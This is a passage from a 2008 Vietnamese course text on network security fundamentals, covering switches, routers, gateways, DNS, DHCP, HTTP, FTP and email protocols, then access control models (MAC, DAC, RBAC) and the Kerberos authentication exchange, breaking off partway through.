chỉ có 2 cổng để liên kết được 2 segment mạng với nhau, thì Switch lại có khả

năng kết nối được nhiều segment lại với nhau tuỳ thuộc vào số cổng (port) trên

Switch. Cũng giống như Bridge, Switch cũng "học" thông tin của mạng thông qua

các gói tin (packet) mà nó nhận được từ các máy trong mạng. Switch sử dụng các

thông tin này để xây dựng lên bảng Switch, bảng này cung cấp thông tin giúp các

gói thông tin đến đúng địa chỉ. Ngày nay, trong các giao tiếp dữ liệu, Switch

thường có 2 chức năng chính là chuyển các khung dữ liệu từ nguồn đến đích, và

xây dựng các bảng Switch. Switch hoạt động ở tốc độ cao hơn nhiều so với

Repeater và có thể cung cấp nhiều chức năng hơn như khả năng tạo mạng LAN ảo

(VLAN).

Router

Router là thiết bị mạng lớp 3 của mô hình OSI (Network Layer). Router kết nối hai

hay nhiều mạng IP với nhau. Các máy tính trên mạng phải "nhận thức" được sự

tham gia của một router, nhưng đối với các mạng IP thì một trong những quy tắc

của IP là mọi máy tính kết nối mạng đều có thể giao tiếp được với router.

Ưu điểm của Router: Về mặt vật lý, Router có thể kết nối với các loại mạng khác

lại với nhau, từ những Ethernet cục bộ tốc độ cao cho đến đường dây điện thoại

đường dài có tốc độ chậm.

Page 23: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

23

Nhược điểm của Router: Router chậm hơn Bridge vì chúng đòi hỏi nhiều tính toán

hơn để tìm ra cách dẫn đường cho các gói tin, đặc biệt khi các mạng kết nối với

nhau không cung tốc độ. Một mạng hoạt động nhanh có thể phát các gói tin nhanh

hơn nhiều so với một mạng chậm và có thể gây ra sự nghẽn mạng. Do đó, Router

có thể yêu cầu máy tính gửi các gói tin đến chậm hơn. Một vấn đề khác là các

Router có đặc điểm chuyên biệt theo giao thức - tức là, cách một máy tính kết nối

mạng giao tiếp với một router IP thì sẽ khác biệt với cách nó giao tiếp với một

router Novell hay DECnet. Hiện nay vấn đề này được giải quyết bởi một mạng biết

đường dẫn của mọi loại mạng được biết đến. Tất cả các router thương mại đều có

thể xử lý nhiều loại giao thức, thường với chi phí phụ thêm cho mỗi giao thức.

Gateway

Gateway cho phép nối ghép hai loại giao thức với nhau. Ví dụ: mạng của bạn sử

dụng giao thức IP và mạng của ai đó sử dụng giao thức IPX, Novell, DECnet,

SNA... hoặc một giao thức nào đó thì Gateway sẽ chuyển đổi từ loại giao thức này

sang loại khác.

Qua Gateway, các máy tính trong các mạng sử dụng các giao thức khác nhau có

thể dễ dàng "nói chuyện" được với nhau. Gateway không chỉ phân biệt các giao

thức mà còn còn có thể phân biệt ứng dụng như cách bạn chuyển thư điện tử từ

mạng này sang mạng khác, chuyển đổi một phiên làm việc từ xa...

5. Các dịch vụ mạng

5.1. Hệ thống tên miền DNS

5.1.1 Khái niệm:

DNS là từ viết tắt trong tiếng Anh của Domain Name System, là Hệ thống phân

giải tên được phát minh vào năm 1984 cho Internet, chỉ một hệ thống cho phép

thiết lập tương ứng giữa địa chỉ IP và tên miền.

Hệ thống tên miền bao gồm một loạt các cơ sở dữ liệu chứa địa chỉ IP và các tên

miền tương ứng cuả nó. Mỗi tên miền tương ứng với một địa chỉ bằng số cụ thể.

Hệ thống tên miền trên mạng Internet có nhiệm vụ chuyển đổi tên miền sang địa

chỉ IP và ngược lại từ địa chỉ IP sang tên miền. Trong những ngày đầu tiên của

mạng Internet, tất cả các tên máy và địa chỉ IP tương ứng của chúng được lưu giữ

Page 24: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

24

trong file hosts.txt, file này được trung tâm thông tin mạng NIC ( Network

information Center ) ở Mỹ lưu giữ. Tuy nhiên khi hệ thống Internet phát triển, việc

lưu giữ thông tin trong một file không thể đáp ứng nhu cầu phân phối và cập nhật.

Do đó, hệ thống tên miền DNS đã phát triển dưới dạng các cơ sở dữ liệu phân bố,

mỗi cơ sở dữ liệu này sẽ quản lý một phần trong hệ thống tên miền.

5.1.2 Cấu trúc của hệ thống tên miền ( DNS )

Hệ thống tên miền được sắp xếp theo cấu trúc phân cấp. Mức trên cung được gọi là

root và ký hiệu là “.”, Tổ chức quản lý hệ thống tên miền trên thế giới là The

Internet Coroperation for Assigned Names and Numbers (ICANN). Tổ chức này

quản lý mức cao nhất của hệ thống tên miền (mức root) do đó nó có quyền cấp

phát các tên miền dưới mức cao nhất này. .

Tên miền ở dưới mức root được gọi là Top – Level- Domain, tên miền ở mức này

được chia thành các tên miền sau:

· Com : tên miền này được dung cho mục đích thương mại

· Edu : tên miền này được dung cho mục đích giáo dục.

· Gov : tên miền này được dung cho các tổ chức chính phủ.

· Mil : tên miền này dung cho các tổ chức quân sự.

· Org : tên miền này dung cho các tổ chức khác.

· Net : tên miền này dung cho các tổ chức liên quan tới mạng máy tính.

· Int : tên miền này dung cho các tổ chức quốc tế

· Mã của các nước trên thế gới tham gia vào mạng internet, các mã quốc gia này

được qui định bằng hai chữ cái theo tiêu chuẩn ISO-3166 ( ví dụ vn của Viêt Nam,

sg của Singapo, uk của Anh v..v).

Đối với các quốc gia, tên miền mức hai trở xuống do quốc gia đó quản lý. Tại Việt

Nam, Trung tâm thông tin mạng Internet Việt Nam (VNNIC) có chức năng quản lý

tên miền dưới cấp .vn.Ở dưới tên miền .vn có 7 tên miền cấp 2 được phân thành

Page 25: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

25

theo từng lĩnh vực kinh tế xã hội ( com.vn, net.vn, gov.vn, edu.vn, org.vn, ac.vn,

int.vn) và 4 tên miền của các ISP (vnn.vn, fpt.vn, saigonnet.vn, netnam.vn).

Cấu trúc không gian tên miền

5.1.3. Cách đọc tên miền

Ví dụ có tên miền : www.myexample.com.vn .

Tên miền sẽ được đọc từ trái qua phải, mục đầu tiên ( www) là tên của máy tính.

Tiếp theo là tên miền ở mức thứ 3 ( myexample), tên miền này được đăng ký với

cơ quan quản lý tên miền ở dưới cấp vn là trung tâm thông tin mạng Internet Việt

Nam (VNNIC). Tên miền đứng thứ 2 tính từ bên phải là tên miền ở mức 2 (com),

tên miền này miêu tả chức năng của tổ chức sở hữu tên miền ở mức thứ 3, trong ví

dụ này tổ chức lấy tên miền ở mức hai là “com” có nghĩa tổ chức này hoạt động

trong lĩnh vực thương mại. Cuối cung là tên miền “vn”, tên miền này chỉ ra toàn bộ

tên miền này thuộc quyền quản lý của mạng Internet Việt Nam.

5.1.4. Qui tắc đặt tên miền

· Tên miền nên được đặt đơn giản và có tính chất gợi nhớ với mục đich và phạm vi

hoạt động của tổ chức sỡ hữu tên miền.

Page 26: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

26

· Mỗi tên miền được có tối đa 63 ký tự bao gồm cả dấu “.”. § Tên miền được đặt

bằng các ký tự (a-z A-Z 0-9) và ký tự “-“.

· Một tên miền đầy đủ có chiều dài không vượt quá 255 ký tự.

5.1.5. Định nghĩa máy chủ tên miền (name server)

Máy chủ tên miền (name server) là máy chủ chứa cơ sở dữ liệu dung cho việc

chuyển đổi giữa tên miền và địa chỉ IP. Như cách phân cấp của hệ thống tên miền,

tương ứng với mỗi cấp và mỗi loại tên miền có máy chủ tên miền phục vụ tên miền

ở cấp đó và loại tên miền đó. Máy chủ tên miền ở mức root sẽ chứa cơ sở dữ liệu

quản lý tên miền ở mức top-level-domain. Ở mức quốc gia sẽ có máy chủ tên miền

quản lý domain ở mức quốc gia.

5.1.6. Hoạt động của hệ thống DNS.

Giả sử người sử dụng muốn truy cập vào trang web có địa chỉ là

www.myexample.com.vn

1. Trước hết chương trình trên máy người sử dụng gửi yêu cầu tìm kiếm địa chỉ IP

ứng với tên miền www.myexample.com.vn tới máy chủ quản lý tên miền (name

server) cục bộ thuộc mạng của nó.

Máy chủ tên miền cục bộ này kiểm tra trong cơ sở dữ liệu của nó có chứa cơ sở dữ

liệu chuyển đổi từ tên miền sang địa chỉ IP của tên miền mà người sử dụng yêu cầu

không. Trong trường hợp máy chủ tên miền cục bộ có cơ sở dữ liệu này, nó sẽ gửi

trả lại địa chỉ IP của máy có tên miền nói trên.

2. Trong trường hợp máy chủ tên miền cục bộ không có cơ sở dữ liệu về tên miền

này nó sẽ hỏi lên các máy chủ tên miền ở mức cao nhất ( máy chủ tên miền làm

việc ở mức root). Máy chủ tên miền ở mức root này sẽ chỉ cho máy chủ tên miền

cục bộ địa chỉ của máy chủ tên miền quản lý các tên miền có đuôi .vn.

3. Máy chủ tên miền cục bộ gửi yêu cầu đến máy chủ quản lý tên miền có đuôi

(.vn) tìm tên miền www.myexample.com.vn Máy chủ tên miền quản lý các tên

miền.vn sẽ gửi lại địa chỉ của máy chủ quản lý tên miền fpt.vn.

4. Máy chủ tên miền cục bộ sẽ hỏi máy chủ quản lý tên miền fpt.vn này địa chỉ IP

của tên miền www.myexample.com.vn. Do máy chủ quản lý tên miền fpt.vn có cơ

Page 27: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

27

sở dữ liệu về tên miền www.myexample.com.vn nên địa chỉ IP của tên miền này sẽ

được gửi trả lại cho máy chủ tên miền cục bộ.

Cơ chế hoạt động của hệ thống DNS

5. Máy chủ tên miền cục bộ chuyển thông tin tìm được đến máy của người sử

dụng.

6. Người sử dụng dung địa chỉ IP này để kết nối đến server chứa trang web có địa

chỉ www.myexample.com.vn

5.2. Dịch vụ DHCP

5.2.1. Khái niệm:

Dynamic Host Configuration Protocol (DHCP) là một dịch vụ cho phép đơn giản

hóa việc quản lý cũng như cấu hình địa chỉ IP. Các máy tính đóng vai trò máy chủ

Page 28: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

28

DHCP có khả năng cung cấp tự động địa chỉ IP và một số thông số cấu hình khác

đến toàn bộ máy trạm, đảm bảo các máy tính có thể liên lạc được với nhau.

5.2.2. Lợi ích khi sử dụng DHCP

Đối với 1 hệ thống mạng lớn, DHCP thể hiện rõ ràng ưu điểm của mình trong việc

quản trị hệ thống:

- Đảm bảo việc cấu hình địa chỉ IP chính xác và an toàn

- DHCP giúp tránh tình trạng bị trung địa chỉ IP, địa chỉ IP cấu hình sai…

- Giảm công sức quản trị

- Sử dụng máy chủ DHCP giúp quản trị viên giảm thiểu thao tác, thời gian,

công sức trong việc cấu hình địa chỉ IP cho các máy tính.

5.2.3. Hoạt động của DHCP

DHCP sử dụng mô hình client-server. Người quản trị hệ thống thiết lập trước một

hoặc nhiều DHCP nhằm duy trì thông tin cấu hình TCP/IP và cung cấp nó cho các

máy trạm. Toàn bộ thông tin cấu hình được lưu trong database của máy chủ

DHCP, bao gồm các thông tin sau:

Các thông số cấu hình chung cho các nhóm máy trạm trong hệ thống (Subnet

Mask, Default Gateway, preferred DNS…)

Nhóm các địa chỉ IP được duy trì trong “pool” để cấp cho máy trạm, cung với các

địa chỉ dành riêng (reserved addresses) dành để cấp cho các máy trạm đặc biệt

(thường là máy chủ web, máy chủ Database…)

Các thông số về thời gian một máy trạm có thể được giữ 1 địa chỉ IP (leased-

duration)

Khi một máy trạm tham gia vào hệ thống, DHCP hoạt động như sau:

Đầu tiên, máy trạm sẽ gửi gói tin quảng bá để tìm kiếm máy chủ dịch vụ DHCP

(gói tin DHCP DISCOVERY )

Page 29: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

29

Các máy chủ DHCP nhận được yêu cầu sẽ trả lời bằng gói tin quảng bá DHCP

OFFER. Máy trạm sẽ nhận các câu trả lời đó và chọn

một.

Máy trạm gửi tiếp một bản tin quảng bá DHCP

REQUEST đến máy chủ DHCP được chọn để yêu cầu

cấp địa chỉ IP.

Máy chủ DHCP được chọn sẽ trả lời yêu cầu đó bằng

gói tin DHCP ACK trong đó chứa các thông tin về

thời gian được giữ địa chỉ IP (lease duration) và các

thông số cần thiết khác.

Hoàn tất quá trình cấp phát địa chỉ IP. Máy trạm chỉ

giải phóng địa chỉ IP khi không hoạt động trong mạng nữa hoặc hết thời gian được

giữ (lease duration).

5.3. Dịch vụ Web (HTTP)

HyperText Transfer Protocol viết tắt là HTTP dịch sang tiếng Việt là Giao Thức

Truyền Siêu Văn Bản. Nó là giao thức cơ bản mà World Wide Web sử dụng.

HTTP xác định cách các thông điệp (các file văn bản, hình ảnh đồ hoạ, âm thanh,

video, và các file multimedia khác) được định dạng và truyền tải ra sao, và những

hành động nào mà các Web server (máy chủ Web) và các trình duyệt Web

(browser) phải làm để đáp ứng các lệnh rất đa dạng. Chẳng hạn, khi bạn gõ một địa

chỉ Web URL vào trình duyệt Web, một lệnh HTTP sẽ được gửi tới Web server để

ra lệnh và hướng dẫn nó tìm đúng trang Web được yêu cầu và kéo về mở trên trình

duyệt Web. Nói nôm na hơn, HTTP là giao thức truyền tải các file từ một Web

server vào một trình duyệt Web để người dùng có thể xem một trang Web đang

hiện diện trên Internet.HTTP là một giao thức ứng dụng của bộ giao thức TCP/IP

(các giao thức nền tảng cho Internet).

Có một tiêu chuẩn chính khác cũng điều khiển cách thức World Wide Web làm

việc là HTML (HyperText Markup Language, ngôn ngữ đánh dấu siêu văn bản),

có chức năng quản lý cách thức mà các trang Web được định dạng và hiển thị.

Người ta gọi HTTP là một giao thức “phi trạng thái” (stateless) bởi vì mỗi lệnh đều

được thực thi một cách độc lập, lệnh sau không biết bất cứ điều gì về các lệnh đã

đến trước mình. Đây chính là một hạn chế, khiếm khuyết của HTTP. Nó là nguyên

Page 30: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

30

nhân chính của tình trạng rất khó thực thi các trang Web có khả năng phản ứng

thông minh đối với lệnh mà người dùng nạp vào. Và sự hạn chế này đang được các

nhà phát triển khắc phục trong các công nghệ mới như ActiveX, Java, JavaScript

và cookies.

Phiên bản mới nhất của HTTP là 1.1. So với phiên bản nguyên thủy (HTTP 1.0),

phiên bản mới này truyền tải các trang Web nhanh hơn và giảm tình trạng tắc

nghẽn giao thông Web.

Mặc định, HTTP hoạt động ở cổng 80 (TCP).

5.4. Dịch vụ truyền tệp tin FTP

FTP (viết tắt từ File Transfer Protocol, giao thức truyền tải file) là một giao thức

dung để tải lên (upload) các file từ một trạm làm việc (workstation) hay máy tính

cá nhân tới một máy chủ FTP hoặc tải xuống (download) các file từ một máy chủ

FTP về một trạm làm việc (hay máy tính cá nhân). Đây là cách thức đơn giản nhất

để truyền tải các file giữa các máy tính trên Internet. Khi tiếp đầu ngữ ftp xuất hiện

trong một địa chỉ URL, có nghĩa rằng người dung đang kết nối tới một file server

chứ không phải một Web server, và một hình thức truyền tải file nào đó sẽ được

tiến hành. Khác với Web server, hầu hết FTP server yêu cầu người dùng phải đăng

nhập (log on) vào server đó để thực hiện việc truyền tải file.

FTP hiện được dùng phổ biến để upload các trang Web từ nhà thiết kế Web lên

một máy chủ host trên Internet, truyền tải các file dữ liệu qua lại giữa các máy tính

trên Internet, cũng như để tải các chương trình, các file từ các máy chủ khác về

máy tính cá nhân. Dùng giao thức FTP, bạn có thể cập nhật (xóa, đổi tên, di

chuyển, copy,) các file tại một máy chủ. Nếu dùng chức năng FTP của một ứng

dụng quản lý file (như Total Commander), bạn có thể tiến hành các tác vụ xử lý

file trên máy chủ giống như ngay trên máy tính của mình.

FPT sử dụng cổng 21 làm kênh điểu khiển và cổng 20 là kênh truyền dữ liệu.

5.5. Dịch vụ thư điện tử

5.5.1. Khái niệm

Thư điện tử, hay email (từ chữ electronic mail), đôi khi được dịch không chính xác

là điện thư, là một hệ thống chuyển nhận thư từ qua các mạng máy tính.

Page 31: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

31

Email là một phương tiện thông tin rất nhanh. Một mẫu thông tin (thư từ) có thể

được gửi đi ở dạng mã hoá hay dạng thông thường và được chuyển qua các mạng

máy tính đặc biệt là mạng Internet. Nó có thể chuyển mẫu thông tin từ một máy

nguồn tới một hay rất nhiều máy nhận trong cùng lúc.

Ngày nay, email chẳng những có thể truyền gửi được chữ, nó còn có thể truyền

được các dạng thông tin khác như hình ảnh, âm thanh, phim, và đặc biệt các phần

mềm thư điện tử kiểu mới còn có thể hiển thị các email dạng sống động tương

thích với kiểu tệp HTML.

5.5.2. Các thành phần của một hệ thống thư điện tử

Một hệ thống email thường gồm 3 thành phần chính: Phần mềm thư điện tử (Client

Agent), máy chủ Mail (Mail Server) và các giao thức mà các thành phần này dung

để giao tiếp với nhau.

Phần mềm thư điện tử (email software) là loại phần mềm nhằm hỗ trợ cho người

dung việc chuyển và nhận các mẫu thông tin (thường là dạng chữ). Thông tin có

thể đưa vào phần mềm thư điện tử bằng cách thông dụng nhất là gõ chữ bàn phím

hay cách phương cách khác ít dung hơn như là dung máy quét hình (scanner),

dung máy ghi hình số (digital camera) đặc biệt là các Web cam. Phần mềm thư

điện tử giúp đỡ cho việc tiến hành soạn thảo, gửi, nhận, đọc, in, xoá hay lưu giữ

các (điện) thư. Có hai trường hợp phân biệt phần mềm thư điện tử là

Loại phần mềm thư điện tử được cài đặt trên từng máy tính của người dung gọi là

email client, hay phần mềm thư điện tử (cho) máy khách. Các thí dụ loại phần

mềm này bao gồm: Microsoft Outlook, Microsoft Outlook Express, Netscape

Comunicator, hay Eudora.

Ngược lại, loại phần mềm thư điện tử không cần phải cài đặt mà nó được cung ứng

bởi các máy chủ (web server) trên Internet gọi là WebMail, hay Phần mềm thư

điện tử qua Web. Để dung được các phần mềm loại này thường các máy tính nối

vào phải có một máy truy cập tương thích với sự cung ứng của WebMail. Thí dụ

loại này là mail.Yahoo.com, hay hotmail.com.

5.5.3. Các giao thức

SMTP (từ chữ Simple Mail Transfer Protocol) -- hay là giao thức chuyển thư đơn

giản. Đây là một giao thức lo về việc vận chuyển email giữa các máy chủ trên

đường trung chuyển đến địa chỉ nhận cũng như là lo việc chuyển thư điện tử từ

Page 32: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

32

máy khách đến máy chủ. Hầu hết các hệ thống thư điện tử gửi thư qua Internet đều

dung giao thức này. Các mẫu thông tin có thể được lấy ra bởi một email client.

Những email client này phải dung giao thức POP hay giao thức IMAP.

IMAP (từ chữ Internet Message Access Protocol) -- hay là giao thức truy nhập

thông điệp (từ) Internet. Giao thức này cho phép truy nhập và quản lý các mẫu

thông tin về từ các máy chủ. Với giao thức này người dung email có thể đọc, tạo

ra, thay đổi, hay xoá các ngăn chứa, các mẫu tin đồng thời có thể tìm kiếm các nội

dung trong hộp thư mà không cần phải tải các thư về.

Phiên bản mới nhất của IMAP là IMAP4 tương tự nhưng có nhiều chức năng hơn

giao thức POP3. IMAP nguyên thuỷ được phát triển bởi đại học Standford năm

1986.

POP (từ chữ Post Office Protocol) -- hay là giao thức phòng thư. Giao thức này

được dung để truy tìm các email từ một máy chủ mail. Hầu hết các chương trình

Email Client đều sử dụng giao thức POP mặc du một số máy chủ mail cũng có thể

hỗ trợ giao thức mới hơn là IMAP.

Hiện có hai phiên bản của POP. Phiên bản đầu tiên là POP2 đã trở thành tiêu chuẩn

vào thập niên 80, nó đòi hỏi phải có giao thức SMTP để gửi đi các mẫu thông tin.

Phiên bản mới hơn POP3 có thể được dung mà không cần tới SMTP.

Page 33: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

33

CHƯƠNG 2: GIỚI THIỆU VỀ AAA

1. Khái niệm:

- AAA là một khái niệm cơ bản nhất khi tìm hiểu về an ninh mạng máy tính, nó là

tổ hợp viết tắt của 3 từ: Access Control (kiểm soát truy cập), Authentication (Xác

thực truy cập) và Accounting (hoặc Auditing) (Giám sát thống kê)

- AAA là một nhóm các tiến trình dung để bảo vệ dữ liệu, tài nguyên hệ thống và

sự an toàn thông tin. Một trong những mục đích chính của AAA là nhằm cung cấp

CIA:

Confidentiality (Tính bí mật): Đảm bảo thông tin, dữ liệu không bị nắm bắt bởi

người thứ ba.

Integrity (Tính toàn vẹn): Đảm bảo thông tin, dữ liệu không bị thay đổi trong quá

trình truyền.

Availability (Tính sắn sàng): Thông tin, dữ liệu phải truy cập được nếu đủ quyền.

2. Kiểm soát truy cập (Access Control)

2.1. Khái niệm

- Kiểm soát truy cập có thể là một chính sách, phần mềm, hay phần cứng làm

nhiệm vụ từ chối hoặc cho phép đối tượng truy cập đến một tài nguyên nào đó. Nó

cũng có thể là thiết bị tổng hợp cao cấp như: Smart Card, thiết bị sinh học, router,

RAS, VPN… Nó cũng có thể là các cách phân quyền (Permissions) trên các tệp tin

hoặc thư mục chia se trong hệ thống.

2.2. Các phương pháp kiểm soát truy cập

2.2.1. Điều khiển truy cập bắt buộc (Mandatory Access Control – MAC)

Trong khoa học máy tính, kỹ thuật điều khiển truy cập bắt buộc (Mandatory

access control - viết tắt là MAC) được dung để bảo vệ và ngăn chặn các quy trình

máy tính, dữ liệu, và các thiết bị hệ thống khỏi sự lạm dụng. Kỹ thuật này có thể

mở rộng và thay thế kỹ thuật điều khiển truy cập tuy quyền đối với các phép truy

Page 34: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

34

cập và sử dụng hệ thống tập tin (file-system permissions ) cung những khái niệm về

người dung và nhóm người dung.

Đặc trưng quan trọng nhất của MAC bao hàm việc từ chối người dung toàn quyền

truy cập / sử dụng tài nguyên do chính họ kiến tạo. Chính sách an ninh của hệ

thống (như đã được viên quản lý (administrator) quy dịnh) hoàn toàn quyết định

các quyền truy cập được công nhận, và một người dung không thể tự hạn chế

quyền truy cập vào các tài nguyên của họ hơn những gì mà viên quản lý chỉ định.

2.2.2. Điều khiển truy cập tùy quyền (Discretionary Access Control - DAC)

Điều khiển truy cập tùy quyền (Discretionary Access Control - viết tắt là DAC)

định nghĩa những chính sách điều khiển truy cập cơ bản đối với các đối tượng

trong một hệ thống tập tin (filesystem).

Nói chung, những việc này được giải quyết bằng sự suy xét chín chắn của người

chủ sở hữu đối tượng -- phép truy cập và sử dụng tập tin/thư mục và tính sở hữu

của người dung / của nhóm người dung.

Trang Từ vựng viễn thông (tiếng Anh) định nghĩa DAC như "Một phương pháp

nhằm hạn chế truy cập các đối tượng trên cơ sở nhận dạng (identity) và nhu cầu

cần biết (need-to-know) của nhiều người dùng và/hay của các nhóm mà đối tượng

trực thuộc. Phương pháp điều khiển được coi là 'tuỳ quyền' vì lý do một chủ thể với

một phép truy cập nào đấy có thể chuyển nhượng phép truy cập (trực tiếp hay gián tiếp) sang bất cứ một chủ thể nào khác trong hệ thống."

2.2.3. Điều khiển truy cập trên cơ sở vai trò (Role-Based Access Control -

RBAC)

Trong an ninh đối với các hệ thống máy tính, điều khiển truy cập trên cơ sở vai trò

(tiếng Anh Role-Based Access Control - viết tắt là RBAC) là một trong số các

phương pháp điều khiển và đảm bảo quyền sử dụng cho người dung. Đây là một

phương pháp có thể thay thế Điều khiển truy cập tuy quyền (discretionary access

control - DAC) và Điều khiển truy cập bắt buộc (mandatory access control -

MAC).

Điều khiển truy cập trên cơ sở vai trò (RBAC) khác với hình thức MAC và DAC

truyền thống. MAC và DAC trước đây là hai mô hình duy nhất được phổ biến

trong điều khiển truy cập. Nếu một hệ thống không dung MAC thì người ta chỉ có

thể cho rằng hệ thống đó dung DAC, hoặc ngược lại, mà thôi. Song cuộc nghiên

Page 35: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

35

cứu trong những năm 1990 đã chứng minh rằng RBAC không phải là MAC hoặc

DAC.

Trong nội bộ một tổ chức, các vai trò (roles) được kiến tạo để đảm nhận các chức

năng công việc khác nhau. Mỗi vai trò được gắn liền với một số quyền hạn cho

phép nó thao tác một số hoạt động cụ thể ('permissions'). Các thành viên trong lực

lượng cán bộ công nhân viên (hoặc những người dung trong hệ thống) được phân

phối một vai trò riêng, và thông qua việc phân phối vai trò này mà họ tiếp thu được

một số những quyền hạn cho phép họ thi hành những chức năng cụ thể trong hệ

thống.

Vì người dung không được cấp phép một cách trực tiếp, song chỉ tiếp thu được

những quyền hạn thông qua vai trò của họ (hoặc các vai trò), việc quản lý quyền

hạn của người dung trở thành một việc đơn giản, và người ta chỉ cần chỉ định

những vai trò thích hợp cho người dung mà thôi. Việc chỉ định vai trò này đơn giản

hóa những công việc thông thường như việc cho thêm một người dung vào trong

hệ thống, hay đổi ban công tác (department) của người dung.

3. Xác thực truy cập (Authentication)

3.1. Khái niệm

- Xác thực truy cập là quá trình thẩm định máy tính hoặc người dung đang có ý

định truy cập vào hệ thống mạng hoặc tài nguyên. Quá trình xác thực đơn giản có

thể là sử dụng Tài khoản (username / password) hay phức tạp như Kerperos, PAP,

CHAP, sinh trắc học…

Chúng ta sẽ tìm hiểu lần lượt 1 số phương pháp xác thực căn bản ở phần tiếp theo.

3.2. Kerberos

3.2.1. Khái niệm

- Ban đầu, Kerberos được Học viện kỹ thuật Massachusetts (MIT) phát triển nhằm

bảo vệ các dịch vụ mạng cung cấp bởi dự án Athena. Tên của giao thức được đặt

theo tên của con chó ba đầu Cerberus canh gác cổng địa ngục trong thần thoại Hy

Lạp. Giao thức đã được phát triển dưới nhiều phiên bản, trong đó các phiên bản từ

1 đến 3 chỉ dung trong nội bộ MIT.

Page 36: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

36

Các tác giả chính của phiên bản 4, Steve Miller và Clifford Neuman, đã xuất bản

giao thức ra công chúng vào cuối thập niên 1980, mặc du mục đích chính của họ là

chỉ phục vụ cho dự án Athena.

Phiên bản 5, do John Kohl và Clifford Neuman thiết kế, xuất hiện trong tài liệu

RFC 1510 vào năm 1993 (được thay thế bởi RFC 4120 vào năm 2005) với mục

đích sửa các lỗi của phiên bản 4.

- Kerberos là một giao thức mật mã dung để xác thực trong các mạng máy tính

hoạt động trên những đường truyền không an toàn. Giao thức Kerberos có khả

năng chống lại việc nghe lén hay gửi lại các gói tin cũ và đảm bảo tính toàn vẹn

của dữ liệu. Mục tiêu khi thiết kế giao thức này là nhằm vào mô hình máy chủ-máy

khách (client-server) và đảm bảo nhận thực cho cả hai chiều.

Giao thức được xây dựng dựa trên mật mã hóa khóa đối xứng và cần đến một bên

thứ ba mà cả hai phía tham gia giao dịch tin tưởng.

3.2.2. Hoạt động của Kerberos

Kerberos được thiết kế dựa trên giao thức Needham-Schroeder. Kerberos sử dụng

một bên thứ ba tham gia vào quá trình nhận thực gọi là "trung tâm phân phối khóa"

(key distribution center - KDC). KDC bao gồm hai chức năng: "máy chủ xác thực"

(authentication server - AS) và "máy chủ cung cấp vé" (ticket granting server -

TGS). "Vé" trong hệ thống Kerberos chính là các chứng thực chứng minh nhân

dạng của người sử dụng.

Mỗi người sử dụng (cả máy chủ và máy khách) trong hệ thống chia se một khóa

chung với máy chủ Kerberos. Việc sở hữu thông tin về khóa chính là bằng chứng

để chứng minh nhân dạng của một người sử dụng. Trong mỗi giao dịch giữa hai

người sử dụng trong hệ thống, máy chủ Kerberos sẽ tạo ra một khóa phiên dung

cho phiên giao dịch đó.

Sau đây là mô tả một phiên giao dịch (giản lược) của Kerberos. Trong đó: AS =

Máy chủ nhận thực (authentication server), TGS = Máy chủ cấp vé (ticket granting server), SS = Máy chủ dịch vụ (service server).

Một cách vắn tắt: người sử dụng nhận thực mình với máy chủ nhận thực AS, sau

đó chứng minh với máy chủ cấp vé TGS rằng mình đã được nhận thực để nhận vé,

cuối cung chứng minh với máy chủ dịch vụ SS rằng mình đã được chấp thuận để

sử dụng dịch vụ.

Page 37: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

37

Người sử dụng nhập tên và mật khẩu tại máy tính của mình (máy khách).

Phần mềm máy khách thực hiện hàm băm một chiều trên mật khẩu nhận được. Kết

quả sẽ được dung làm khóa bí mật của người sử dụng.

Phần mềm máy khách gửi một gói tin (không mật mã hóa) tới máy chủ dịch vụ AS

để yêu cầu dịch vụ. Nội dung của gói tin đại ý: "người dung XYZ muốn sử dụng

dịch vụ". Cần chú ý là cả khóa bí mật lẫn mật khẩu đều không được gửi tới AS.

AS kiểm tra nhân dạnh của người yêu cầu có nằm trong cơ sở dữ liệu của mình

không. Nếu có thì AS gửi 2 gói tin sau tới người sử dụng:

Gói tin A: "Khóa phiên TGS/máy khách" được mật mã hóa với khóa bí mật của

người sử dụng.

Gói tin B: "Vé chấp thuận" (bao gồm chỉ danh người sử dụng (ID), địa chỉ mạng

của người sử dụng, thời hạn của vé và "Khóa phiên TGS/máy khách") được mật

mã hóa với khóa bí mật của TGS.

Khi nhận được 2 gói tin trên, phần mềm máy khách giải mã gói tin A để có khóa

phiên với TGS. (Người sử dụng không thể giải mã được gói tin B vì nó được mã

hóa với khóa bí mật của TGS). Tại thời điểm này, người dung có thể nhận thực

mình với TGS.

Khi yêu cầu dịch vụ, người sử dụng gửi 2 gói tin sau tới TGS:

Gói tin C: Bao gồm "Vé chấp thuận" từ gói tin B và chỉ danh (ID) của yêu cầu dịch

vụ.

Gói tin D: Phần nhận thực (bao gồm chỉ danh người sử dụng và thời điểm yêu

cầu), mật mã hóa với "Khóa phiên TGS/máy khách".

Khi nhận được 2 gói tin C và D, TGS giải mã D rồi gửi 2 gói tin sau tới người sử

dụng:

Gói tin E: "Vé" (bao gồm chỉ danh người sử dụng, địa chỉ mạng người sử dụng,

thời hạn sử dụng và "Khóa phiên máy chủ/máy khách") mật mã hóa với khóa bí

mật của máy chủ cung cấp dịch vụ.

Page 38: Co so ly thuyet ve bao mat

Cơ sở lý thuyết về BẢO MẬT MẠNG 2008

38

Gói tin F: "Khóa phiên máy chủ/máy khách" mật mã hóa với "Khóa phiên

TGS/máy khách".

